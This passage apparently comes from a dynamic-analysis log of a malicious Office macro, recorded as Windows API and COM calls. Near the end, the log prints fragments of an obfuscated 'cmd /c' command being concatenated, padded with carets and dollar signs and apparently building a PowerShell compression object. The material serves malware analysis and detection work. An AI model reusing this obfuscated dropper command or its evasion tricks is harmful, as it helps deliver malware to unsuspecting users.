pVarVal=0x27c198*(varType=0x0, wReserved1=0xb4b, wReserved2=0x0, wReserved3=0x0, varVal1=0x7117930, varVal2=0x27cea8)) returned 0x0 [0081.616] IUnknown:Release (This=0xb3fb2a8) returned 0x1 [0081.617] IMalloc:Realloc (This=0x7feffc15380, pv=0xb4b2da0, cb=0x400) returned 0xb5f44e0 [0081.617] IUnknown:QueryInterface (in: This=0xb3fb2a8, riid=0x7fee5e040f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x27c190 | out: ppvObject=0x27c190*=0xb3fb2a8) returned 0x0 [0081.617] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb3fb2a8, memid=1610612785, invkind=1, pFuncIndex=0x27c188 | out: pFuncIndex=0x27c188*=0x31) returned 0x0 [0081.617] ITypeInfo2:GetParamCustData (in: This=0xb3fb2a8, indexFunc=0x31, indexParam=0x4, GUID=0x7fee5e14e80*(Data1=0x270d72b0, Data2=0xffb8, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xbd, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x26, [7]=0xee)), pVarVal=0x27c198 | out: pVarVal=0x27c198*(varType=0x0, wReserved1=0xb5f, wReserved2=0x0, wReserved3=0x0, varVal1=0x7117930, varVal2=0x27cea8)) returned 0x0 [0081.617] IUnknown:Release (This=0xb3fb2a8) returned 0x1 [0081.617] IUnknown:AddRef (This=0xb3fb300) returned 0x2 [0081.617] IUnknown:Release (This=0xb3fb300) returned 0x1 [0081.617] IUnknown:QueryInterface (in: This=0xb3fb2a8, riid=0x7fee5e040f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x27c190 | out: ppvObject=0x27c190*=0xb3fb2a8) returned 0x0 [0081.617] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb3fb2a8, memid=1610612785, invkind=1, pFuncIndex=0x27c188 | out: pFuncIndex=0x27c188*=0x31) returned 0x0 [0081.617] ITypeInfo2:GetParamCustData (in: This=0xb3fb2a8, indexFunc=0x31, indexParam=0x5, GUID=0x7fee5e14e80*(Data1=0x270d72b0, Data2=0xffb8, Data3=0x11cf, Data4=([0]=0xa4, [1]=0xbd, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x26, [7]=0xee)), pVarVal=0x27c198 | out: pVarVal=0x27c198*(varType=0x3, wReserved1=0xb5f, wReserved2=0x0, wReserved3=0x0, varVal1=0x1, varVal2=0x27cea8)) returned 0x0 [0081.617] IUnknown:Release (This=0xb3fb2a8) returned 0x1 [0081.618] IUnknown:QueryInterface (in: This=0xb3fb2a8, riid=0x7fee5e040f0*(Data1=0x20412, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x27c250 | out: ppvObject=0x27c250*=0xb3fb2a8) returned 0x0 [0081.618] ITypeInfo2:GetFuncIndexOfMemId (in: This=0xb3fb2a8, memid=1610612785, invkind=1, pFuncIndex=0x27c290 | out: pFuncIndex=0x27c290*=0x31) returned 0x0 [0081.618] ITypeInfo2:GetFuncCustData (in: This=0xb3fb2a8, index=0x31, GUID=0x7fee5e13758*(Data1=0x50867b00, Data2=0xbb69, Data3=0x11d0, Data4=([0]=0xa8, [1]=0xff, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0x11, [6]=0x0, [7]=0x59)), pVarVal=0x27c2a8 | out: pVarVal=0x27c2a8*(varType=0x0, wReserved1=0x27, wReserved2=0x0, wReserved3=0x0, varVal1=0x31, varVal2=0x100e66)) returned 0x0 [0081.618] IUnknown:Release (This=0xb3fb2a8) returned 0x1 [0081.618] IUnknown:AddRef (This=0xb3fb300) returned 0x2 [0081.618] IUnknown:QueryInterface (in: This=0xb3fb300, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c148 | out: ppvObject=0x27c148*=0x0) returned 0x80004002 [0081.618] IUnknown:QueryInterface (in: This=0xb3fb300, riid=0x7fee5e10b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c208 | out: ppvObject=0x27c208*=0x0) returned 0x80004002 [0081.618] IUnknown:QueryInterface (in: This=0xb3fb300, riid=0x7fee5e12aa8*(Data1=0xcacc1e89, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c0e0 | out: ppvObject=0x27c0e0*=0x0) returned 0x80004002 [0081.618] IUnknown:Release (This=0xb3fb300) returned 0x1 [0081.618] IUnknown:AddRef (This=0xb3fb2a8) returned 0x2 [0081.618] ITypeInfo:LocalReleaseFuncDesc (This=0xb3fb2a8) returned 0x0 [0081.618] IUnknown:Release (This=0xb3fb2a8) returned 0x1 [0081.618] IUnknown:QueryInterface (in: This=0xb3fb2a8, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c518 | out: ppvObject=0x27c518*=0x0) returned 0x80004002 [0081.619] IUnknown:AddRef (This=0xb3fb2a8) returned 0x2 [0081.619] IUnknown:QueryInterface (in: This=0xb3fb2a8, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c4a0 | out: ppvObject=0x27c4a0*=0x0) returned 0x80004002 [0081.619] IUnknown:QueryInterface (in: This=0xb3fb2a8, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c470 | out: ppvObject=0x27c470*=0x0) returned 0x80004002 [0081.619] IUnknown:QueryInterface (in: This=0xb3fb2a8, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c460 | out: ppvObject=0x27c460*=0x0) returned 0x80004002 [0081.619] IUnknown:QueryInterface (in: This=0xb3fb2a8, riid=0x7fee5e10b88*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c468 | out: ppvObject=0x27c468*=0x0) returned 0x80004002 [0081.619] ITypeInfo:RemoteGetTypeAttr (in: This=0xb3fb2a8, ppTypeAttr=0x27c498, pDummy=0x10 | out: ppTypeAttr=0x27c498, pDummy=0x10) returned 0x0 [0081.619] ITypeInfo:LocalReleaseTypeAttr (This=0xb3fb2a8) returned 0x0 [0081.619] IUnknown:AddRef (This=0xb3fb2a8) returned 0x3 [0081.619] IUnknown:Release (This=0xb3fb2a8) returned 0x2 [0081.619] IUnknown:QueryInterface (in: This=0xb3fb2a8, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c688 | out: ppvObject=0x27c688*=0x0) returned 0x80004002 [0081.619] IUnknown:QueryInterface (in: This=0xb3fb2a8, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27c680 | out: ppvObject=0x27c680*=0x0) returned 0x80004002 [0081.619] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb3fb2a8, ppTLib=0x27bec0, pIndex=0x0 | out: ppTLib=0x27bec0*=0xb1d1370, pIndex=0x0) returned 0x0 [0081.619] ITypeLib:RemoteGetLibAttr (in: This=0xb1d1370, ppTLibAttr=0x27bed0, pDummy=0x0 | out: ppTLibAttr=0x27bed0, pDummy=0x0) returned 0x0 [0081.619] ITypeLib:LocalReleaseTLibAttr (This=0xb1d1370) returned 0x0 [0081.619] IUnknown:Release (This=0xb1d1370) returned 0xa [0081.619] ITypeInfo:RemoteGetDllEntry (in: This=0xb3fb2a8, memid=1610612785, invkind=1, refPtrFlags=0x27bec0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4de5130 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4de5130*=0x5380) returned 0x0 [0081.619] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5e3d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0081.619] ITypeInfo:RemoteGetDllEntry (in: This=0xb3fb2a8, memid=1610612785, invkind=1, refPtrFlags=0x0, pBstrDllName=0x27bec0, pbstrName=0x0, pwOrdinal=0x27bee0 | out: pBstrDllName=0x27bec0*=0x0, pbstrName=0x0, pwOrdinal=0x27bee0*=0xc150) returned 0x0 [0081.619] ITypeInfo:RemoteGetDllEntry (in: This=0xb3fb2a8, memid=1610612785, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x27bec0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x27bec0, pwOrdinal=0x500000000) returned 0x0 [0081.619] IMalloc:Alloc (This=0x7feffc15380, cb=0x26d) returned 0x7395dd0 [0081.620] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.620] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.620] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.620] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.620] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.620] IMalloc:GetSize (This=0x7feffc15380, pv=0x7395dd0) returned 0x26d [0081.620] GetCurrentProcess () returned 0xffffffffffffffff [0081.620] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7395dd0, dwSize=0x73) returned 1 [0081.620] IMalloc:Free (This=0x7feffc15380, pv=0x7395dd0) [0081.620] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x7242aa0 [0081.620] IMalloc:Realloc (This=0x7feffc15380, pv=0xb300960, cb=0x100) returned 0xb5af250 [0081.620] ITypeInfo:RemoteGetContainingTypeLib (in: This=0xb3fb2a8, ppTLib=0x27c1a0, pIndex=0x0 | out: ppTLib=0x27c1a0*=0xb1d1370, pIndex=0x0) returned 0x0 [0081.621] ITypeLib:RemoteGetLibAttr (in: This=0xb1d1370, ppTLibAttr=0x27c1b0, pDummy=0x0 | out: ppTLibAttr=0x27c1b0, pDummy=0x0) returned 0x0 [0081.621] ITypeLib:LocalReleaseTLibAttr (This=0xb1d1370) returned 0x0 [0081.621] IUnknown:Release (This=0xb1d1370) returned 0xa [0081.621] ITypeInfo:RemoteGetDllEntry (in: This=0xb3fb2a8, memid=1610612785, invkind=1, refPtrFlags=0x27c1a0, pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4de5130 | out: pBstrDllName=0x0, pbstrName=0x0, pwOrdinal=0x4de5130*=0x5380) returned 0x0 [0081.621] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBE7.DLL", cchWideChar=-1, lpMultiByteStr=0x7fee5e3d830, cbMultiByte=1023, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBE7.DLL", lpUsedDefaultChar=0x0) returned 9 [0081.621] ITypeInfo:RemoteGetDllEntry (in: This=0xb3fb2a8, memid=1610612785, invkind=1, refPtrFlags=0x0, pBstrDllName=0x27c1a0, pbstrName=0x0, pwOrdinal=0x27c1c0 | out: pBstrDllName=0x27c1a0*=0x0, pbstrName=0x0, pwOrdinal=0x27c1c0*=0xc430) returned 0x0 [0081.621] ITypeInfo:RemoteGetDllEntry (in: This=0xb3fb2a8, memid=1610612785, invkind=1, refPtrFlags=0x0, pBstrDllName=0x0, pbstrName=0x27c1a0, pwOrdinal=0x500000000 | out: pBstrDllName=0x0, pbstrName=0x27c1a0, pwOrdinal=0x500000000) returned 0x0 [0081.621] IMalloc:Realloc (This=0x7feffc15380, pv=0xb613950, cb=0xe6) returned 0xb613950 [0081.621] IMalloc:Free (This=0x7feffc15380, pv=0xb07a590) [0081.621] GetCurrentProcess () returned 0xffffffffffffffff [0081.621] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242db9, dwSize=0x8) returned 1 [0081.621] GetCurrentProcess () returned 0xffffffffffffffff [0081.621] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242db8, dwSize=0x8) returned 1 [0081.621] GetCurrentProcess () returned 0xffffffffffffffff [0081.621] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b59, dwSize=0x8) returned 1 [0081.621] GetCurrentProcess () returned 0xffffffffffffffff [0081.621] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b58, dwSize=0x8) returned 1 [0081.621] GetCurrentProcess () returned 0xffffffffffffffff [0081.621] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b68, dwSize=0x2) returned 1 [0081.621] GetCurrentProcess () returned 0xffffffffffffffff [0081.621] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6bbc, dwSize=0x4d) returned 1 [0081.621] VirtualProtect (in: lpAddress=0x75e6bbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c60c | out: lpflOldProtect=0x27c60c*=0x40) returned 1 [0081.622] GetCurrentProcess () returned 0xffffffffffffffff [0081.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244201, dwSize=0x8) returned 1 [0081.622] GetCurrentProcess () returned 0xffffffffffffffff [0081.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244200, dwSize=0x8) returned 1 [0081.622] GetCurrentProcess () returned 0xffffffffffffffff [0081.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244210, dwSize=0x2) returned 1 [0081.622] GetCurrentProcess () returned 0xffffffffffffffff [0081.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244264, dwSize=0x4d) returned 1 [0081.622] VirtualProtect (in: lpAddress=0x7244264, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c60c | out: lpflOldProtect=0x27c60c*=0x40) returned 1 [0081.622] GetCurrentProcess () returned 0xffffffffffffffff [0081.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442e9, dwSize=0x8) returned 1 [0081.622] GetCurrentProcess () returned 0xffffffffffffffff [0081.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442e8, dwSize=0x8) returned 1 [0081.622] GetCurrentProcess () returned 0xffffffffffffffff [0081.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442f8, dwSize=0x2) returned 1 [0081.622] GetCurrentProcess () returned 0xffffffffffffffff [0081.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724434c, dwSize=0x45) returned 1 [0081.622] VirtualProtect (in: lpAddress=0x724434c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27c60c | out: lpflOldProtect=0x27c60c*=0x40) returned 1 [0081.622] GetCurrentProcess () returned 0xffffffffffffffff [0081.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244451, dwSize=0x8) returned 1 [0081.622] GetCurrentProcess () returned 0xffffffffffffffff [0081.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244450, dwSize=0x8) returned 1 [0081.622] GetCurrentProcess () returned 0xffffffffffffffff [0081.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244460, dwSize=0x2) returned 1 [0081.622] GetCurrentProcess () returned 0xffffffffffffffff [0081.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72444b4, dwSize=0x4d) returned 1 [0081.622] VirtualProtect (in: lpAddress=0x72444b4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c60c | out: lpflOldProtect=0x27c60c*=0x40) returned 1 [0081.622] GetCurrentProcess () returned 0xffffffffffffffff [0081.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244539, dwSize=0x8) returned 1 [0081.622] GetCurrentProcess () returned 0xffffffffffffffff [0081.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244538, dwSize=0x8) returned 1 [0081.622] GetCurrentProcess () returned 0xffffffffffffffff [0081.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244548, dwSize=0x2) returned 1 [0081.622] GetCurrentProcess () returned 0xffffffffffffffff [0081.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724459c, dwSize=0x4d) returned 1 [0081.622] VirtualProtect (in: lpAddress=0x724459c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c60c | out: lpflOldProtect=0x27c60c*=0x40) returned 1 [0081.622] GetCurrentProcess () returned 0xffffffffffffffff [0081.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245231, dwSize=0x8) returned 1 [0081.622] GetCurrentProcess () returned 0xffffffffffffffff [0081.622] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245230, dwSize=0x8) returned 1 [0081.623] GetCurrentProcess () returned 0xffffffffffffffff [0081.623] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245240, dwSize=0x2) returned 1 [0081.623] GetCurrentProcess () returned 0xffffffffffffffff [0081.623] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245294, dwSize=0x4d) returned 1 [0081.623] VirtualProtect (in: lpAddress=0x7245294, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c60c | out: lpflOldProtect=0x27c60c*=0x40) returned 1 [0081.623] GetCurrentProcess () returned 0xffffffffffffffff [0081.623] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245319, dwSize=0x8) returned 1 [0081.623] GetCurrentProcess () returned 0xffffffffffffffff [0081.623] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245318, dwSize=0x8) returned 1 [0081.623] GetCurrentProcess () returned 0xffffffffffffffff [0081.623] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245328, dwSize=0x2) returned 1 [0081.623] GetCurrentProcess () returned 0xffffffffffffffff [0081.623] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724537c, dwSize=0x45) returned 1 [0081.623] VirtualProtect (in: lpAddress=0x724537c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27c60c | out: lpflOldProtect=0x27c60c*=0x40) returned 1 [0081.623] GetCurrentProcess () returned 0xffffffffffffffff [0081.623] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242d3c, dwSize=0x45) returned 1 [0081.623] VirtualProtect (in: lpAddress=0x7242d3c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27c60c | out: lpflOldProtect=0x27c60c*=0x40) returned 1 [0081.623] GetCurrentProcess () returned 0xffffffffffffffff [0081.623] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242db9, dwSize=0x8) returned 1 [0081.623] GetCurrentProcess () returned 0xffffffffffffffff [0081.623] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242db8, dwSize=0x8) returned 1 [0081.623] GetCurrentProcess () returned 0xffffffffffffffff [0081.623] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242dc8, dwSize=0x2) returned 1 [0081.623] GetCurrentProcess () returned 0xffffffffffffffff [0081.623] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242e1c, dwSize=0x4d) returned 1 [0081.623] VirtualProtect (in: lpAddress=0x7242e1c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c60c | out: lpflOldProtect=0x27c60c*=0x40) returned 1 [0081.623] SetErrorMode (uMode=0x8001) returned 0x8001 [0081.623] _stricmp (_Str1="VBE7.DLL", _Str2="VBE6.DLL") returned 1 [0081.623] LoadLibraryA (lpLibFileName="VBE7.DLL") returned 0x7fee5a60000 [0081.624] DeactivateActCtx (dwFlags=0x0, ulCookie=0x1001af6100000cbf) returned 1 [0081.624] SetErrorMode (uMode=0x8001) returned 0x8001 [0081.625] GetProcAddress (hModule=0x7fee5a60000, lpProcName=0x2c8) returned 0x7fee5de9db0 [0081.625] GetCurrentProcess () returned 0xffffffffffffffff [0081.625] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242ae8, dwSize=0x73) returned 1 [0081.625] RtlLookupFunctionEntry (in: ControlPc=0x7242ae8, ImageBase=0x27c498, HistoryTable=0x27c4a0 | out: ImageBase=0x27c498, HistoryTable=0x27c4a0) returned 0x0 [0081.625] VirtualProtect (in: lpAddress=0x7242ae8, dwSize=0x74, flNewProtect=0x40, lpflOldProtect=0x27c59c | out: lpflOldProtect=0x27c59c*=0x40) returned 1 [0081.625] RtlAddFunctionTable (FunctionTable=0x7242b68, EntryCount=0x1, BaseAddress=0x7242a00, TargetGp=0x27c59c) returned 1 [0081.625] IUnknown:AddRef (This=0xb3e3718) returned 0x3 [0081.625] IUnknown:QueryInterface (in: This=0xb3e3718, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d9c8 | out: ppvObject=0x27d9c8*=0x0) returned 0x80004002 [0081.625] IUnknown:QueryInterface (in: This=0xb3e3718, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d9c0 | out: ppvObject=0x27d9c0*=0x0) returned 0x80004002 [0081.625] IUnknown:Release (This=0xb3e3718) returned 0x2 [0081.625] IUnknown:AddRef (This=0xb3e3770) returned 0x6 [0081.625] IUnknown:QueryInterface (in: This=0xb3e3770, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d9c8 | out: ppvObject=0x27d9c8*=0x0) returned 0x80004002 [0081.625] IUnknown:QueryInterface (in: This=0xb3e3770, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d9c0 | out: ppvObject=0x27d9c0*=0x0) returned 0x80004002 [0081.625] IUnknown:Release (This=0xb3e3770) returned 0x5 [0081.625] IUnknown:AddRef (This=0xb3e3668) returned 0x2 [0081.625] IUnknown:QueryInterface (in: This=0xb3e3668, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d9c8 | out: ppvObject=0x27d9c8*=0x0) returned 0x80004002 [0081.625] IUnknown:QueryInterface (in: This=0xb3e3668, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d9c0 | out: ppvObject=0x27d9c0*=0x0) returned 0x80004002 [0081.626] IUnknown:Release (This=0xb3e3668) returned 0x1 [0081.626] IUnknown:AddRef (This=0xb3fb1f8) returned 0x3 [0081.626] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d9c8 | out: ppvObject=0x27d9c8*=0x0) returned 0x80004002 [0081.626] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d9c0 | out: ppvObject=0x27d9c0*=0x0) returned 0x80004002 [0081.626] IUnknown:Release (This=0xb3fb1f8) returned 0x2 [0081.626] IUnknown:AddRef (This=0xb3fb2a8) returned 0x3 [0081.626] IUnknown:QueryInterface (in: This=0xb3fb2a8, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d9c8 | out: ppvObject=0x27d9c8*=0x0) returned 0x80004002 [0081.626] IUnknown:QueryInterface (in: This=0xb3fb2a8, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27d9c0 | out: ppvObject=0x27d9c0*=0x0) returned 0x80004002 [0081.626] IUnknown:Release (This=0xb3fb2a8) returned 0x2 [0081.626] GetAsyncKeyState (vKey=27) returned 0 [0081.626] VarBstrCat (in: bstrLeft="$c$md$ /$c C%P$rOGR$aM$FI$l$ES:~ $ -7,1%$D, , /V$:$O$$n ,$,/$%aP$", bstrRight="P$d", pbstrResult=0x27dd60 | out: pbstrResult=0x27dd60) returned 0x0 [0081.626] VarBstrCat (in: bstrLeft="$c$md$ /$c C%P$rOGR$aM$FI$l$ES:~ $ -7,1%$D, , /V$:$O$$n ,$,/$%aP$P$d", bstrRight="A$ta:~-7$,1% \" , (S$e^T$ j1=^E$w-ob$je^$$ct $I^o$$.c^$$OM$$p)& (^s$ET$ ^ ^J^F$^O6=G^('VZ$Bba8^IwGI$b/^Sp$A^O^E", pbstrResult=0x27dd60 | out: pbstrResult=0x27dd60) returned 0x0 [0081.627] GetUserDefaultLCID () returned 0x409 [0081.630] VarAdd (in: pvarLeft=0xb3de6b8, pvarRight=0xb3de6a0, pvarResult=0xb3de688 | out: pvarResult=0xb3de688) returned 0x0 [0081.630] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xb614200 [0081.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb60f794, cbMultiByte=147, lpWideCharStr=0x7f5029a, cchWideChar=296 | out: lpWideCharStr="RE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ys") returned 147 [0081.630] IMalloc:Alloc (This=0x7feffc15380, cb=0x230) returned 0x6ed5a00 [0081.630] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xb60f82e, cbMultiByte=5, lpWideCharStr=0x7f50486, cchWideChar=12 | out: lpWideCharStr="Te^m.") returned 5 [0081.630] IMalloc:Alloc (This=0x7feffc15380, cb=0x590) returned 0xb6f8050 [0081.631] IMalloc:Realloc (This=0x7feffc15380, pv=0xb614200, cb=0xe4) returned 0xb614200 [0081.631] IMalloc:Free (This=0x7feffc15380, pv=0xb07a830) [0081.631] GetCurrentProcess () returned 0xffffffffffffffff [0081.631] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244201, 